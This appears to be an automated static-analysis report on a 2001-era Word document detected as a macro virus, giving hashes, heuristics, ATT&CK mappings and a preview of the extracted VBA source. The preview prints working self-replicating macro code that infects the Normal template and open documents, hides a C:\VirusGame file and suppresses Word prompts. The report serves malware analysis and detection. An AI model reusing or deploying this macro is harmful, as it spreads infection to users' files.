Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 9efcec3979102729…

MALICIOUS

Office (OLE)

92.0 KB Created: 2001-06-21 01:28:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: fb82e2578228a0339b68f2effd9c03dd SHA-1: dd832dfa18d07639108c2b99228208e2e6389cfb SHA-256: 9efcec39791027291b51a2483baa196376f04d4415dac2365c3bb58053876a07
200 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample is a legacy Word document containing a VBA macro that attempts to copy its code into the Normal template and the active document. This behavior is indicative of a macro-based malware that aims to establish persistence or infect other documents. The macro also attempts to write to the file system at 'c:\VirusGame', which could be part of its execution or persistence mechanism.

Heuristics 4

  • ClamAV: Doc.Trojan.Ethan-20 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Ethan-20
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 14642 bytes
SHA-256: 27e276cbdd7daed9a3f49274c8263c0b11618567f288fe34fe20948e64f44c42
Detection
ClamAV: Doc.Trojan.Intro-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Close()
Rem My Virus Games
    On Error Resume Next
    s = ActiveDocument.Saved
    Application.EnableCancelKey = wdCancelDisabled
    Options.ConfirmConversions = False
    Options.SaveNormalPrompt = False
    Options.SaveNormalPrompt = False
    If Dir("c:\VirusGame", 6) = "" Then
        Open "C:\VirusGame" For Output As #1
        For i = 2 To MacroContainer.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
            a = MacroContainer.VBProject.VBComponents.Item(1).CodeModule.Lines(i, 1)
            Print #1, a
            If a = "Rem Virus game end" Then Exit For
        Next
        Close #1
        SetAttr "C:\VirusGame", 6
    End If
    t = ""
    If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(1, 1) = "Private Sub Document_Close()" Then
        If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(2, 1) <> "Rem My Virus Games" Then Set t = NormalTemplate.VBProject.VBComponents.Item(1)
    Else
        NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.InsertLines 1, "End Sub"
        NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.InsertLines 1, "Private Sub Document_Close()"
        Set t = NormalTemplate.VBProject.VBComponents.Item(1)
    End If
    If t <> "" Then GoTo Infect
    If ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.Lines(1, 1) = "Private Sub Document_Close()" Then
        If ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.Lines(2, 1) <> "Rem My Virus Games" Then Set t = ActiveDocument.VBProject.VBComponents.Item(1)
    Else
        ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.InsertLines 1, "End Sub"
        ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.InsertLines 1, "Private Sub Document_Close()"
        Set t = ActiveDocument.VBProject.VBComponents.Item(1)
    End If
    
    If t <> "" Then
Infect:
    Open "C:\VirusGame" For Input As #1
    If LOF(1) = 0 Then GoTo Quit
    i = 2
    Do While Not EOF(1)
        Line Input #1, a
        t.CodeModule.InsertLines i, a
        i = i + 1
    Loop
    
Quit:
    Close #1
    If Left(ActiveDocument.Name, 2) <> "文档" Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
    End If
    If ActiveDocument.Saved <> s Then ActiveDocument.Saved = s
    Kill "c:\VirusGame"
Rem Virus game end
End Sub

Attribute VB_Name = "AutoOpen"
Sub Main()
'Hello
  On Error GoTo 0
  If Not ActiveDocHaveCopied Then
    CopyToActiveDoc
  ElseIf Not NormHaveCopied Then
    CopyToNormal
    Else: MsgBox ("你吃饭了吗?")
  End If
End Sub
Sub CopyToNormal()
  For Each aModule In NormalTemplate.VBProject.VBComponents
    If aModule.Name = "AutoOpen" Then
      IsDblName = True
      Exit For
    End If
  Next aModule
  If IsDblName Then
    With NormalTemplate.VBProject.VBComponents
      .Remove .Item("AutoOpen")
    End With
  End If
  Application.OrganizerCopy Source:=ActiveDocument.FullName, _
       Destination:=NormalTemplate.FullName, _
       Name:="AutoOpen", Object:=wdOrganizerObjectProjectItems
  NormalTemplate.Save
End Sub
Sub CopyToActiveDoc()
  For Each aModule In ActiveDocument.VBProject.VBComponents
    If aModule.Name = "AutoOpen" Then
      IsDblName = True
      Exit For
    End If
  Next aModule
  If IsDblName Then
    With ActiveDocument.VBProject.VBComponents
      .Remove .Item("AutoOpen")
    End With
  End If
  Application.OrganizerCopy Source:=NormalTemplate.FullName, _
       Destination:=ActiveDocument.FullName, _
       Name:="AutoOpen", Object:=wdOrganizerObjectProjectItems
  ActiveDocument.Save
End Sub
Function NormHaveCopied() As Boolean
  For Each aModule In NormalTemplate.VBProject.VBComponents
    If aModule.Name = "AutoOpen" Then
      If aModule.CodeModule.Lines(2, 1) = "'Hello" Then
... (truncated)